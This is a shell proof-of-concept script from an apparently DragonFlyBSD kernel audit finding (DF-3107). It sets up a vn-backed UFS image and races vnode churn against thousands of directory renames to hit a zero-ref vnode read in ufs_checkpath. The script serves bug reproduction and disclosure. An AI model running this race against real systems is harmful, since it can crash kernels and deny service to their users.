⬢ DragonFlyBSD Kernel Audit
DF-3107 / stress.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-3107 — ufs_checkpath zero-ref vnode use: bounded race attempt.
#
# Bug (sys/vfs/ufs/ufs_lookup.c:1160-1161):
#     vput(vp);                                  /* intermediate ancestor:
#                                                   refcount 1 -> 0        */
#     error = VFS_VGET(vp->v_mount, ...);        /* reads the zero-ref,
#                                                   reclaimable vnode       */
# Renaming a directory into a target >= 3 levels deep performs this on the
# intermediate ancestor on EVERY rename (deterministic zero-ref window).
# FreeBSD caches the mount pointer before the loop for exactly this reason.
#
# The renames must run on a UFS mount (vn-backed image); the vnode churn
# (alloc/free pressure) is global.
set -e
LOG=/root/df3107/stress.out
: > "$LOG"
MNT=/mnt/cp

# --- UFS test filesystem ---
rm -f /root/df3107/cp.img
dd if=/dev/zero of=/root/df3107/cp.img bs=1m count=8 2>/dev/null
VN=$(vnconfig -c vn /root/df3107/cp.img | awk '{print $1}')
newfs -b 4096 -f 512 /dev/$VN >/dev/null 2>&1
mkdir -p "$MNT"
mount -t ufs /dev/$VN "$MNT"
mkdir -p "$MNT/a/b/c" "$MNT/S" /tmp/churn

echo "hierarchy ready; starting stress $(date +%T)" >> "$LOG"

# churn: constant vnode alloc/free pressure
( i=0
  while [ $i -lt 60000 ]; do
    i=$((i+1))
    : > /tmp/churn/f$i 2>/dev/null || true
    rm -f /tmp/churn/f$i 2>/dev/null || true
  done
  echo "churn iterations: $i" >> "$LOG" ) &

# renames on UFS: each does checkpath -> zero-ref vput/read on 'b'
( n=0; rc=0
  while [ $n -lt 20000 ]; do
    mv "$MNT/S" "$MNT/a/b/c/S_moved" 2>>$LOG || rc=1
    mv "$MNT/a/b/c/S_moved" "$MNT/S" 2>>$LOG || rc=1
    n=$((n+1))
  done
  echo "renames completed: $n (mv errors: $rc)" >> "$LOG" ) &

wait
echo "STRESS_DONE $(date +%T); dmesg tail:" >> "$LOG"
dmesg | tail -5 >> "$LOG" 2>/dev/null || true
echo done